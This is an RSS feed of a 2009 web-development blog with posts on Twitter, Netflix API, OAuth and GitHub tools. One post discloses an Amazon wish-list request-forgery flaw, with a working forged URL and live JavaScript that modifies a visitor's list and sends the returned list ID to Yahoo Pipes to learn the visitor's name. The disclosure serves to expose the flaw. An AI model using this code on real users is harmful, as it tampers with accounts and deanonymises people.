<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
<channel>
	<title>Brewster's Field Guide to Web 2.666</title>
	<description>Web 2.0, with a little bit of the devil inside.</description>
	<link>http://kentbrewster.com</link>
	<pubDate>Wed, 27 May 2009 21:02:00 PDT</pubDate>
	<language>en</language>
	<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/KentBrewster" type="application/rss+xml" /><item>
		<title>Fixing Twitter Replies</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/NfZnpyU_npU/twitter-fix-replies</link>
		<guid isPermaLink="false">http://kentbrewster.com/twitter-fix-replies</guid>
		<comments>http://kentbrewster.com/twitter-fix-replies</comments>
		<pubDate>Wed, 27 May 2009 21:02:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<div id="s" class="ftr" style="float:right;margin-left:10px;">
<h3>Hidden Tweets</h3>
<input id="q" value="kentbrew" /><button id="b">Go!</button>
<ul id="r"></ul>
</div>
<p>A short while ago, something sucked the fun right out of <a href="http://twitter.com">Twitter</a>.  All of a sudden, replies from people who I was following to people who were a) not me, or b) not people I was also following, <a href="http://mashable.com/2009/05/13/twitter-fixreplies/">mysteriously quit showing up</a>.  Without knowing more about the underlying data structures I'm not certain I understand Twitter's explanation; it seems to me they'd have to go out of their way to find and remove tweets from people I'm following that were in reply to tweets from others that I'm not following, rather than just show me all the tweets from everybody I <em>am</em> following.</p>
<p>Anyway.  I figured I'd go with it for a while and see if I noticed any difference ... and ... yeah, I do.  Turns out the main way I found new, interesting people to follow was through those half-conversations.  I haven't followed anybody new since replies broke, and find myself growing increasingly bored with Twitter.</p>
<h3>Enter the Hack</h3>
<p>At the top of this page, you'll see an entry box with my Twitter id filled in.  If you click the button, you will see a list of tweets from people I'm following.  Each of these tweets is the most recent one posted in reply to another Twitter user.  If I'm not following that person, I won't see it when I look at my Twitter page.  Right, some of these are false positives, for reasons mentioned below.  I could clean it up, but I'm probably not going to do it.  It's a hack, people. :)</p>
<p>If you'd like to try it out and see some (probably not all) of what you're missing, fill in your Twitter screen name and click Go.</p>
<h3>What This Won't Do</h3>
<ul>
<li>Show all your friends.  I'm calling the <code><a href="http://apiwiki.twitter.com/Twitter-REST-API-Method%3A-statuses%C2%A0friends">friends/status</a></code> API five times to get the most current status from the last 500 users you followed; that's enough to show some of what you're missing.  (Hey, while I have your ear ... please take a moment to think about the extra carbon you're causing Twitter to release into the atmosphere with all those follows you never actually pay attention to.  500 ought to be enough!)</li>
<li>Show all the tweets you're missing. Sorry, it's only looking at the current status and reporting it as possibly hidden if it's listed as in-reply-to another Twitter user.</li>
<li>Hide the tweets you're not missing.  Again, sorry: since I'm only looking at the last 500 people you followed, I have no way of knowing what's in reply to the other 6000.  (Again, please ... thin that ridiculous herd of follows, and help save Al3x's sanity.)</li>
<li>Work on your site with a single line of JavaScript.  Sorry, this is <em>not</em> a case-hardened badge.  (It might make an interesting Greasemonkey plug-in ... but somebody else gets to write it.  Please keep in mind that you will quickly use up your 100 API calls in an hour if you bang on it too hard.)</li>
</ul>
<h3>Please Re-Tweet! :)</h3>
<p>Twitter is much less useful to me without replies to friends I haven't met yet, so I really do hope they can fix it.  Have fun with this, and if it's useful, kindly <a target="_twitter" href="http://twitter.com/?status=Fixing+(Some)+Twitter+Replies,+from+@kentbrew:+http://bit.ly/kbftr+%23fixreplies">tweet it up</a> on Twitter. Thanks!</p>
<style>
.ftr {zoom:1;margin:0;padding:3px;width:300px;border:2px solid #000;font:13px/1.2em tahoma, veranda, arial, helvetica, clean, sans-serif;*font-size:small;*font:x-small;}
.ftr a {cursor:pointer;text-decoration:none;}
.ftr a:hover{text-decoration:underline;}
.ftr img{float:left; height:24px;width:24px;border:1px solid black;margin:3px;}
.ftr cite, .ftr date{margin:0 0 0 4px;padding:0;display:block;font-style:normal;font-size:92%;line-height:12px;}
.ftr date:after{clear:both; content:\".\"; display:block; height:0; visibility:hidden; }
.ftr h3 a, .ftr h4 a{font-size:92%; color:#000;}
.ftr h3{margin:0!important;padding:3px;font-weight:bold;background:transparent url('http://twitter.com/favicon.ico') 3px 50% no-repeat;text-indent:19px;}
.ftr h4{font-weight:normal;text-align:right;margin:0;padding:3px;}
.ftr ul{margin:0!important; padding:0!important; list-style:none!important;height:400px;width:300px;overflow:auto;}
.ftr p{margin:0!important; padding:0!important; }
.ftr ul li{margin:0!important;padding:3px!important;list-style:none!important;border-bottom:1px solid #aaa;}
.ftr input { border: 1px solid #000; width:75%; margin:0;padding:2px;}
.ftr button { width:10%; }
</style>

<?php
echo "<script>";
echo $source;
echo "</script>";
include_once('/home/kentbrew/public_html/inc/footer.inc'); ?> ]]></description>
	<feedburner:origLink>http://kentbrewster.com/twitter-fix-replies</feedburner:origLink></item>
	<item>
		<title>Twitter Search Badge</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/nOG-_hpfHTs/twitter-search-badge</link>
		<guid isPermaLink="false">http://kentbrewster.com/twitter-search-badge</guid>
		<comments>http://kentbrewster.com/twitter-search-badge</comments>
		<pubDate>Fri, 08 May 2009 09:46:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<style>
.floater {
   float:left;margin-right:5px;
}
</style>
<p>Twitter Search is turning out to be a very powerful force in real-time search.  Instead of relying on a vaguely-defined, possibly-corrupt, almost-always-out-of-date algorhythm owned by somebody else, why not check out what your fellow Internet readers are marking as interesting and/or relevant?  Here are three instances of the same search prototype, two with text queries and one with a <code>from:</code> query, showing tweets from a single person.</p>
<div class="container">
<div class="floater">
<script src="http://r8ar.com/tsb.js">{"query":"bayjax", "width":225}</script>
</div>
<div class="floater">
<script src="http://r8ar.com/tsb.js">{"query":"to:kentbrew", "width":300}</script>
</div>
<div class="floater">
<script src="http://r8ar.com/tsb.js">{"query":"javascript", "width":225}</script>
</div>
</div>
<p>If you'd like to try the Twitter Seach Badge on your site, include this bit of JavaScript wherever you want it to pop up:</p>
<pre>
&lt;script src="http://r8ar.com/tsb.js">&lt;/script>
</pre>
<p>The usual batch of configuration variables--height, width, etc--are available; to show a default search, do something like this:</p>
<pre>
&lt;script src="http://r8ar.com/tsb.js">{"query":"obama"}&lt;/script>
&lt;script src="http://r8ar.com/tsb.js">{"query":"from:scobleizer"}&lt;/script>
</pre>
<p>Right, obviously I need to combine this with <a href="http://kentbrewster.com/twitterati">Twitterati</a>.  I'm just wishing the Twitter Search API had a way to come up with the most recent tweets by friends of <code>username</code>.  Will probably have to munge something together with Pipes to do that.</p>
<p>Also still to come: Get More and Go Back links at the bottom.</p>
<p>Here's my talk from the May 9th BayJax meetup, tracing the development process of this badge, which I wrote in a single afternoon.  An older but much more detailed version of this presentation is online here, under <a href="http://kentbrewster.com/">Case-Hardened Web Badges: The Live Version</a>.</p>
<iframe height="650" width="800" border="none" src="http://kentbrewster.com/twitter-search-badge/preso.html"></iframe>
<p><a href="http://kentbrewster.com/twitter-search-badge/preso.html" target="_preso">Start Presentation in New Window</a></p>
<p>If you'd like me to present this, or something like it, or something completely unlike it (like Ajax security or OAuth or rolling your own API with Pipes) at your conference, please <a href="http://kentbrewster.com/contact/">contact me</a> and I'll see what I can do.  As always, have fun and please let me know how it goes.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/twitter-search-badge</feedburner:origLink></item>
	<item>
		<title>Netflix Catalog API Explorer</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/-vdJo-dFYpc/netflix-api-explorer</link>
		<guid isPermaLink="false">http://kentbrewster.com/netflix-api-explorer</guid>
		<comments>http://kentbrewster.com/netflix-api-explorer</comments>
		<pubDate>Tue, 28 Apr 2009 17:13:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
     <style>
        #c { width:720px;}
        #c { text-align:right; }
        #c input { width:80%; }
     </style>
     <p><a href="http://netflix.com">Netflix</a>, in case you didn't know, is a marvelous place to rent movies and television series on DVD, and watch an increasing percentage online.  Over the last ten years, Netflix has accumulated a treasure trove of information about movies and the people who make them, and has recently opened it all up with the Netflix Catalog API.  (Full disclosure: yes, I work there, and yes, it's awesome.)</p>
     <p>Here's a handy tool to help you get your feet wet without having to worry about OAuth.</p>
     <h3>Before You Begin</h3>
     <p>You'll need a developer account, from <a href="http://developer.netflix.com">developer.netflix.com</a>.  Once you're signed up and logged in, the link to Consumer Key--below, to the left of the first text entry box--should take you right to the spot where you can copy your key and secret.</p>
     <p>If you're feeling paranoid, please view source before clicking the Onwards! button.  This thing just below that looks like a form really isn't a form, and is not going to submit your information anywhere except the Netflix API.  The only reason why I'm using an all-client solution is so you, the developer, can actually try out your very own consumer key and shared secret, without me, the potentially-nefarious third party, ever actually knowing what they are.</p>
     <h3>Try Your Queries Right Here</h3>
     <div id="c">
        <p><a href="http://developer.netflix.com/apps/mykeys" target="netflix">Consumer Key</a>: <input id="k" value="" /></p>
        <p>Shared Secret: <input id="s" value="" /></p>
        <p>Query: <input id="q" value="http://api.netflix.com/catalog/titles/?term=fargo" /></p>
        <p>Got your consumer key and shared secret filled in?  Click me: <button id="b">Onwards!</button></p>
        <iframe id="z" name="result" width="100%" height="300" style="display:none;"></iframe>
        <p><strong><a id="u" style="display:none;" href="#" target="_oauth">Your OAuth-Signed URL</a></strong></p>
     </div>
     <h3>Sample Queries (Click to Try)</h3>
     <ul id="x">
        <li>Autocomplete search results for the string "mcdo":<br /><code><a rel="http://api.netflix.com/catalog/titles/autocomplete?term=mcdo">http://api.netflix.com/catalog/titles/autocomplete?term=mcdo</a></code></li>
        <li>Find the first Frances in the People section:<br /><code><a rel="http://api.netflix.com/catalog/people?term=Frances&max_results=1">http://api.netflix.com/catalog/people?term=Frances&max_results=1</a></code></li>
        <li>Zoom in on Frances McDormand:<br /><code><a rel="http://api.netflix.com/catalog/people/61544">http://api.netflix.com/catalog/people/61544</a></code></li>
        <li>See Franceses 2 through 10:<br /><code><a rel="http://api.netflix.com/catalog/people?term=Frances&start_index=1&max_results=9">http://api.netflix.com/catalog/people?term=Frances&start_index=1&max_results=9</a></code></li>
        <li>Frances McDormand's filmography, with synopses:<br /><code><a rel="http://api.netflix.com/catalog/people/61544/filmography?expand=synopsis">http://api.netflix.com/catalog/people/61544/filmography?expand=synopsis</a></code></li>
        <li>Zoom in on Fargo:<br /><code><a rel="http://api.netflix.com/catalog/titles/movies/493387">http://api.netflix.com/catalog/titles/movies/493387</a></code></li>
        <li>Fargo again, with expanded cast and synopsis:<br /><code><a rel="http://api.netflix.com/catalog/titles/movies/493387?expand=cast,synopsis">http://api.netflix.com/catalog/titles/movies/493387?expand=cast,synopsis</a></code></li>
     </ul>
     <p>These are only a few examples; please see the <a href="http://developer.netflix.com/docs/REST_API_Reference">REST API Reference</a> for detailed information.</p>
     <h3>Things to Do and Notice</h3>
     <ul>
        <li>When your results come back, just about any link that starts with <code>http://api.netflix.com/catalog</code> can be copied and pasted right back into the query blank for further exploration.</li>
        <li>A link to your OAuth-signed URL will magically appear under the iframe containing your results.  If you click this it ought to open your results in a new page, so you can see exactly what OAuth did to your request string.  This is very, very handy when you're wrestling with some of the more arcane aspects of the API, such as what needs to be URL-encoded.</li>
        <li>Use Netflix's handy <code>expand</code> parameter to avoid extra calls to the API.  Any of the <code>link</code> attributes in the main tree should be expandable; details are in the API docs, which I am currently in the process of refactoring.</li>
        <li>To try out version 1.5 of the Netflix API, add <code>v=1.5</code> to any query.  Please note that <code>expand</code> behaves differently in version 1.5.</li>
     </ul>
     <h3>Don't Forget to Break It!</h3>
     <p>No, seriously.  This is critical; you need to know what happens when things go wrong.  Change your key or secret, or enter an URL that doesn't compute, and make note of the errors you get back.</p>
     <h3>Bad Ideas</h3>
     <ul>
        <li><strong>Trying to retrieve the entire catalog.</strong>  (Okay, I admit it: I tried this myself.  The resulting bolus of data choked my browser, and I had to reboot and recover some lost stuff that I hadn't saved.)  Client apps should never need the entire catalog; if you are thinking about doing this, you are doing it Wrong.</li>
        <li><strong>Using term search to power autocomplete.</strong>  That's what <code>/catalog/titles/autocomplete</code> is for, folks; it's even been left free of OAuth requirements so people banging on it won't use up your daily quota of API calls.</li>
        <li><strong>Putting this script into production anywhere.</strong>  Although OAuth calls can be made using nothing but JavaScript, doing so will reveal your consumer key and shared secret on every call, which could lead to trouble if either item is hijacked and used by someone who is not you.</li>
     </ul>
     <h3>Other Important Resources</h3>
     <ul>
     <li>If you'd like to play around with OAuth parameters, see the <a href="http://developer.netflix.com/resources/OAuthTest">OAuth Test Page</a>.</li>
     <li>To run signed-in calls to the Netflix API--accessing things like a specific user's queue--you'll want <a href="http://developer.netflix.com/files/">Flixo</a>.</li>
     <li>Although it feels very GOOG-centric, the <a href="http://googlecodesamples.com/oauth_playground/">OAuth Playground</a> has a spot under "Choose Your Scope" where you can enter any OAuth endpoint. Netflix works there.</li>
     </ul>
     <h3>The JavaScript Source</h3>
     <p>For the morbidly curious, here's how I got client-side OAuth to work in eighty lines of JavaScript.  It may be worth looking at if you're a throwback like me who refuses to use a library he doesn't understand.  The heavy lifting happens at the bottom of the script, from <code>oAuthEscape</code> on down, with much help from <a href="http://pajhome.org.uk/crypt/md5/sha1.js">Paul Johnston's HMAC-SHA1 routine</a>.</p>
<pre class="source">
<?php
   $display = str_replace("<", "&lt;", $source);
   echo $display;
?>
</pre>
    <p>If you'd like to learn more about the various snakes that bit me while I was figuring it out, please see <a href="http://kentbrewster.com/oauth-confessions">True OAuth Confessions, or Why My Hand-Rolled Calls All Blew Chunks</a>.</p>
    <p>Have fun, please let me know how it goes, and don't forget to read the documentation, at <code><a href="http://developer.netflix.com/">http://developer.netflix.com/</a></code>. It will be better soon, I promise! :)</p>
<?php
echo "<script>";
echo $source;
echo "</script>";
include_once('/home/kentbrew/public_html/inc/footer.inc'); ?> ]]></description>
	<feedburner:origLink>http://kentbrewster.com/netflix-api-explorer</feedburner:origLink></item>
	<item>
		<title>True OAuth Confessions</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/286s5aS2YZY/oauth-confessions</link>
		<guid isPermaLink="false">http://kentbrewster.com/oauth-confessions</guid>
		<comments>http://kentbrewster.com/oauth-confessions</comments>
		<pubDate>Mon, 27 Apr 2009 15:08:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>I'm settling in at Netflix and starting to work my way through the developer docs.  One of the main concerns we're seeing from outside developers is getting that first OAuth call to work.  Here, in an effort to reassure my fellow noobs that they're not crazy, is my tale of OAuth woe:</p>
<p>When I <a href="http://kentbrewster.com/oauth-baby-steps">first encountered OAuth</a> I bounced off the <a href="http://oauth.net/core/1.0">spec</a> and a couple of <a href="http://oauth.googlecode.com/svn/code/javascript/oauth.js">libraries</a>, which seem to be documented in a language created specifically to make guys like me give up in disgust.</p>
<p>Backup plan:  I cracked into a couple of URL returns with Firebug, thought I understood what was going on, and plunged blindly in. (Famous last words:  "It's just a string, right? How hard could it possibly be?")</p>
<p>My real mistake: not just blindly trusting the libraries to do the right thing.  Seriously.  Unless you've got the same thing wrong with you that I have with me and you absolutely cannot stand the idea of using something you don't fully understand, stop here and just go plug in a library.</p>
<p>So.  Here begins my top ten list of horrible mistakes made while trying to reverse-engineer OAuth:</p>
<ul>
<li><strong>My Timestamp was Stale</strong><br />
Unless it's only a few minutes old, the URL somebody else generated isn't going to work.  And forget about trying to copy and paste the one they show in the docs.  Cue the sound of Nelson Muntz from The Simpsons:  "Ha-hah!"</li>
<li><strong>The Parameters in my Signature Base String were Out of Alphabetical Order</strong><br />
Note to self: <code>oauth_timestamp</code> comes BEFORE <code>oauth_signature_method</code>, and AFTER <code>oauth_nonce</code>.  Parameters like <code>foo</code> and <code>baz</code> and <code>qux</code> might show up before or afterwards.  Or during, depending on how psychotic the API you're trying to hit turns out to be.</li>
<li><strong>I Forgot a Question-Mark between my Request and my OAuth Payload</strong><br />
Here's where you do NOT want an ampersand. You'll go blind trying to spot it.</li>
<li><strong>I Didn't URL-Encode my Signature</strong><br />
Just because it came back in base-64 from my HMAC-SHA1 function didn't make it safe to fire off; there are plus-signs and equals-signs and other unsavory characters in many base-64 strings, and they all needed to be encoded.</li>
<li><strong>I Didn't URL-Encode All Illegal Characters</strong><br />
Right, see, I was initially doing this with JavaScript, and <code>uriEncodeComponent</code> turned out not to fix exclamation points, asterisks, single-quotes, or parentheses.</li>
<li><strong>I URL-Encoded the Ampersands Separating my Method, URL, and Request Parameters</strong><br />
The server needs those raw ampersands, so it can tell where to split the string you sent.</li>
<li><strong>I Didn't Append an Ampersand to my Consumer Secret to Make my Signature Key</strong><br />
Another picky ampersand-related detail:  when signing a request without a token secret I STILL needed to add an ampersand to the end of my consumer secret.</li>
<li><strong>I Used the Same Nonce, Over and Over and Over Again</strong><br />
Turns out there is a special circle of Error 401 Hell reserved for people who re-use their nonces; this makes sense, if you think about the sort of replay attacks the spec is designed to prevent.  Naturally you would need to READ the spec before thinking about this.</li>
<li><strong>I Generated a Random Nonce, but (you guessed it) Failed to URL-Encode It</strong><br />
No need to be fancy with this; just pick a random 16-digit number. Don't (for instance) use every possible printable character.</li>
<li><strong>And, Finally:  I URL-Encoded my Signature Key</strong><br />
Yeah, I really did do this. It took days to unscrew. Not recommended.</li>
</ul>
<p>Anyone else have something to confess?  Let's hear it; it will be good for your soul, and will help our fellow pilgrims not to fall down the same holes we did.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/oauth-confessions</feedburner:origLink></item>
	<item>
		<title>Amazon Wish Lists Are Dreadfully Insecure</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/eDES9Na6MkE/amazon-wish-lists-are-dreadfully-insecure</link>
		<guid isPermaLink="false">http://kentbrewster.com/amazon-wish-lists-are-dreadfully-insecure</guid>
		<comments>http://kentbrewster.com/amazon-wish-lists-are-dreadfully-insecure</comments>
		<pubDate>Wed, 25 Mar 2009 08:26:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<h3>Updated 3/27/2009, 10:01PDT:  looks like this may have been fixed a few minutes ago.  Read on, to learn more about what was happening.</h3>
<p>Old friends may remember the <a href="http://blog.programmableweb.com/2008/03/07/are-you-logged-into-google/">How to Tell if a User is Signed In to Service X</a> series, which ended last year around this time.  As you can see from the comments in <a href="http://kentbrewster.com/patching-privacy-leaks/">Patching Privacy Leaks</a>, I advised users to sign out of Amazon.com on 17 October 2008, but did not say why.</p>
<p>Six months and multiple warnings later, nothing's been done.  So here it is:</p>
<button>Add an Item to your Amazon Wishlist</button>
<p id="amazonResults">If you are signed in to the United States version of Amazon.com and have a wish list, the button should add an item.  You'll see an alert with a success or failure message, and then this paragraph will change to tell you what happened and where to go to see it.  If you're using Firefox or IE, we will be able to determine your Amazon login status, by watching <code>onError</code>.  If all else fails, we will assume after a few seconds of inactivity that something went wrong.</p>
<p>I'm not sure what will happen if you have multiple lists or if you delete your wish list.  Taking your wish list private will make it invisible to the bit that shows your name, but will NOT stop the item add from happening.</p>
<h3>How It Works</h3>
<p>By examining the source of Amazon's <a href="http://www.amazon.com/gp/wishlist/get-button/">Universal Wish List toolbar bookmarklet</a>, we find something suspicious:  an <code>HTTP GET</code> that seems to modify data on behalf of the signed-in Amazon user.  This is trouble, since Amazon is depending only on browser cookies to verify user identity.  Anyone can create an URL, like this:</p>
<pre>http://www.amazon.com/gp/wishlist/add/ref=wl_bm-add
?submit=1&operation=add&mode=JS&priceInput=&id=
&imageUrl.0=http%3A%2F%2Fi2.ytimg.com%2Fvi%2FE62DXiL_8Vs%2Fdefault.jpg
&name.0=Raccoon%20Party
&itemComment.0=amazon%20wishlists%20are%20dreadfully%20insecure
&productUrl.0=http%3A%2F%2Fwww.youtube.com%2Fwatch%21v%3eDeQ1DN7n2Eg
</pre>
<p>... and fire it off on behalf of the signed-in user.  Here I'm being polite and requiring the user to click a button, but it would be trivial to list it as the <code>SRC</code> attribute of a <code>SCRIPT</code> or <code>IMG</code> tag.</p>
<h3>Data Returned from Amazon</h3>
<pre>AUWLBook.results('SUCC', 'Wish List',
'http://www.amazon.com/registry/wishlist/JWMG6ATT26YQ/ref=wl_bm-view-list');</pre>
<p>This is very helpful: it gives you back a <code>SUCC</code> or <code>FAIL</code> message, the title of the victim's wish list, and an URL pointing back to it, whether or not the victim has market his list as private.  If the list is public, determining the victim's name is trivial; <a href="http://pipes.yahoo.com/kentbrew/amazon_getusernamefromwishlistid">running the wish list through YQL and trimming the result with Pipes</a> spits it right out.</p>
<p>I'm not going to go into great detail about how the JavaScript behind the exploit works; it's pretty self-explanatory.  Feel free to view source and poke at it yourself, if you like.</p>
<h3>Why It's Scary</h3>
<ul>
<li>I can think of lots of evil things to do with this, from the crude (add a bunch of porno links to your victim's wish list and send it to his boss or his wife or his mother) to the obvious (causing any visitor to my site to instantly wish for my book, over and over and over again) to subtle things like gray-hat SEO, in which links quietly stack up in thousands of public wish lists and change search engine results.</li>
<li>Possibilities for clandestine data mining--many people add their birthdays and home locations to their wish lists--abound.  Once I know your name, home town, and birthday, I have a fair number of the items most commonly used as security questions for password recovery.</li>
<li>Although I haven't documented it here, there is at least one link on the user's wish list that will save a change to its configuration in response to a GET, and not just add an item.  This is very, very bad.</li>
</ul>
<p>The bottom line:  Amazon never told their users that wish lists are actually online presence indicators and can be used invisibly to gather data about them wherever they go.</p>
<h3>Lessons Learned</h3>
<ul>
<li>Never use <code>GET</code> to modify data on behalf of the user.</li>
<li>Don't give back live, executable JavaScript wrapped in easily-intercepted callbacks.</li>
<li>Returning HTML to signed-out users and JSON to signed-in users allows curious operators to determine the user's sign-in status by watching <code>window.onerror</code>.</li>
<li>Shipping a toolbar bookmarklet that changes data on behalf of a signed-in user is probably not a great idea; now that it's broken, everybody who's installed it will have to either re-install it or quit using it.</li>
<li>Have a clearly marked path for reporting security holes, listen, and be extremely responsive!</li>
</ul>
<h3>Thank You</h3>
<ul>
<li>Last-minute testers: Norm, Cyn, Ryan.</li>
<li>Those guys who do the thing in that place I used to work, who tried multiple times to get Amazon to fix this.  They are heroes; I wish people would listen harder when they speak up.</li>
</ul>
<script>
// trap errors; if we find one, the user is not signed in
// opera, chrome, and safari will quiety fail without providing login status, due to no onerror support

if (navigator.userAgent.match("MSIE")) {
   window.onerror = function() {
      gotcha();
   }
}

if (navigator.userAgent.match("Gecko")) {
   window.onerror = gotcha;
}

// callback for Pipes/YQL, once we have the wish list ID

var pingName = function(r) {
   if (r.value && r.value.items && r.value.items[0] && r.value.items[0].n) {
      var s = document.createElement('SPAN');
      s.innerHTML = '  Your name: <strong>' + r.value.items[0].n + '</strong>';
      document.getElementById('amazonResults').appendChild(s);
   }
};

// hijacking the amazon universal wish list callback

var AUWLBook = {};
AUWLBook.results = function(m, l, u) {
   clearTimeout(t);
   alert("Aha, got something: " + m);
   if (m === 'SUCC') {
      var r = document.getElementById('amazonResults');
      r.innerHTML = '';
      var s = document.createElement('SPAN');
      s.innerHTML = 'Success!  Added an item to your ';
      r.appendChild(s);
      var a = document.createElement('A');
      a.innerHTML = 'Amazon Wish List';
      a.href = u;
      a.target = '_blank';
      r.appendChild(a);
      var s = document.createElement('SPAN');
      s.innerHTML = '.';
      r.appendChild(s);
      // get the id, send it to Pipes for the user name
      var n = u.split('wishlist/')[1].split('/')[0];
      var s = document.createElement('SCRIPT');
      s.type = 'text/javascript';
      s.src = 'http://pipes.yahoo.com/pipes/pipe.run?_id=mvFn4_kX3hGXvvr4BRNMsA&_render=json&u=' + n + '&_callback=pingName';
      document.getElementsByTagName('BODY')[0].appendChild(s);
   }
}

// our warning note

var gotcha = function() {
   document.getElementById('amazonResults').innerHTML = "Hmm ... got nothing after ten seconds, but we're still waiting, and it may still show up.  Some or all of the following may be true: 1. You're not signed in to Amazon.  2. You don't have a wish list.  3.  Your network connection is flaky.  4. They've fixed the bug.  Hopefully, it's #4; before you give it another go, please confirm you are <a href=\"https://www.amazon.com/gp/sign-in.html\">signed in</a>, and check your wish list to see if the item added after our time-out expired.  To try again, come back here, shift-reload to refresh this page and hit the button.";
   return true;
}

// fires after ten seconds

var gotNothing = function() {
   clearTimeout(t);
   gotcha();
}

// add the listener to the button, fire when clicked

var b = document.getElementsByTagName('BUTTON')[0];
b.onclick = function() {
   var s = document.createElement('SCRIPT');
   s.src = 'http://www.amazon.com/gp/wishlist/add/ref=wl_bm-add?submit=1&operation=add&mode=JS&imageUrl.0=http%3A%2F%2Fi2.ytimg.com%2Fvi%2FE62DXiL_8Vs%2Fdefault.jpg&id=&name.0=Raccoon%20Party&priceInput=&itemComment.0=racoons%20are%20awesome&productUrl.0=http%3A%2F%2Fwww.youtube.com%2Fwatch%21v%3eDeQ1DN7n2Eg&';
   s.type = 'text/javascript';
   document.getElementsByTagName('BODY')[0].appendChild(s);
   t = setTimeout("gotNothing()", 5000);
};

</script>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/amazon-wish-lists-are-dreadfully-insecure</feedburner:origLink></item>
	<item>
		<title>Bad JavaScript Advice Filter</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/VmgS-mfcxM8/bad-javascript-advice-filter</link>
		<guid isPermaLink="false">http://kentbrewster.com/bad-javascript-advice-filter</guid>
		<comments>http://kentbrewster.com/bad-javascript-advice-filter</comments>
		<pubDate>Thu, 05 Mar 2009 15:55:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<h3>When somebody comes to me and says "I want to learn HTML," I always ask "Why?"</h3>
<p><a href="http://gallery.search.yahoo.com/application?smid=Ghw.s"><img src="http://l.yimg.com/i/searchmonkey/logoImage123627792437313.png" style="border:1px solid black; float:left;margin-right:20px;" /></a> Don't get me wrong; unlike writing, I don't believe that anyone who can be discouraged from coding should be.  Web programming is a fine thing to know, but it's very hard to learn just for the sake of learning it.  Big topic, lots of pitfalls, you get the idea.  So if I'm talking to someone who just has a vague idea that it would be cool to know how to do this stuff, I make vague comforting noises and try not to offer advice.</p>
<p>But if the person talking to me pops back with "I want to build a Web site for Specific Reason X," we're off and running. It's much easier to learn the tiny subset of knowledge necessary to get your specific project off the ground than it is to gain general background knowledge enough to do anything you want, at some distant point in the future.</p>
<p>After representing Yahoo! at several University Hack Days and watching superstar Monkey Wrangler <a href="http://paulisageek.blogspot.com/">Paul Tarjan</a>--fresh out of Stanford, first real job, builds a game-changing search app for Yahoo, quick, eat him now while his bones are still soft--I was fascinated.  But I didn't jump straight in with <a href="http://gallery.search.yahoo.com">Searchmonkey</a>, because I couldn't think of anything interesting to do with it.</p>
<p>That changed this morning, when I was poking around looking for some embarassingly basic JavaScript advice.  (I'm lazy, and ignorant, and figure "why waste space in my brain if the cloud is available to store all that knowledge?")</p>
<p>News flash:  there is a crapload of really bad information out there.  It's a) old, b) misguided, and c) wrapped in banner ads or sign-in-to-see-the-answer bait-and-switch gotchas.  Unfortunately, it's been there a long time, and has many supporting links and other SEO-fu around it, so it tends to sort to the top.</p>
<p>I click into this junk a lot, and it bothers me.</p>
<h3>Enter the Monkey.</h3>
<p>With a simple set of URL filters, I was able to build bad.js, a <a href="http://gallery.search.yahoo.com/application?smid=Ghw.s">Searchmonkey add-on for Yahoo! Search</a> that warns me away from all those lovely canned scripts and talking banner ads from 1997.  Bad.js was simple to build, easy to publish, and generally a joy to do; if you want to play, I strongly recommend checking out Searchmonkey, at <code><a href="http://gallery.search.yahoo.com">http://gallery.search.yahoo.com</a>.</p>
<p>Suggestions for other URLs will be gratefully accepted; please leave them on the Searchmonkey app's Comments tab, so I can find them all in one place. (Lazy, remember?)</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/bad-javascript-advice-filter</feedburner:origLink></item>
	<item>
		<title>GitHub Social Badge</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/L333VYtTf1c/github-badge</link>
		<guid isPermaLink="false">http://kentbrewster.com/github-badge</guid>
		<comments>http://kentbrewster.com/github-badge</comments>
		<pubDate>Mon, 09 Feb 2009 09:05:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<div style="float:right;margin-left:10px;">
<script src="http://kentbrewster.com/github-badge/behavior.js">{"user":"norm"}</script>
</div>
<p>As usual I'm late for the bandwagon.  Here's my very first <a href="http://github.com/kentbrew">GitHub</a> project, a case-hardened badge that allows a certain amount of surfing around between GitHub repositories, owners, and watchers.</p>
<h3>Things to Do and Notice</h3>
<ul>
<li>In Projects view, click the arrrow to open up details. The top project will default to open.</li>
<li>Click between Projects and Following to see the user's repositories and other users he or she is following.</li>
<li>Click a user icon to switch over.</li>
</ul>
<h3>How It Works</h3>
<ul>
<li>This badge relies on techniques previously documented in <a href="http://kentbrewster.com/badges">Case-Hardened JavaScript</a>; please look there for technical details.</li>
<li>For Projects we are looking at the GitHub API, documented here:<br /><code><a href="http://github.com/guides/the-github-api">http://github.com/guides/the-github-api</a></code></li>
<li>For Following we are using the spiffy new YQL module on Pipes to gently ping the user's home page on GitHub, grab only the user names and avatars, and return them ready to go.  Hopefully the official API will include this soon; for now, it's a very scraping, since Pipes is caching requests.</li>
<li>Here we see the badge pointed at the GitHub profile belonging to Mark Norman Francis.  Norm has interesting projects and is following some interesting people, so he's my test account.  Please change it to whoever you like.</li>
</ul>
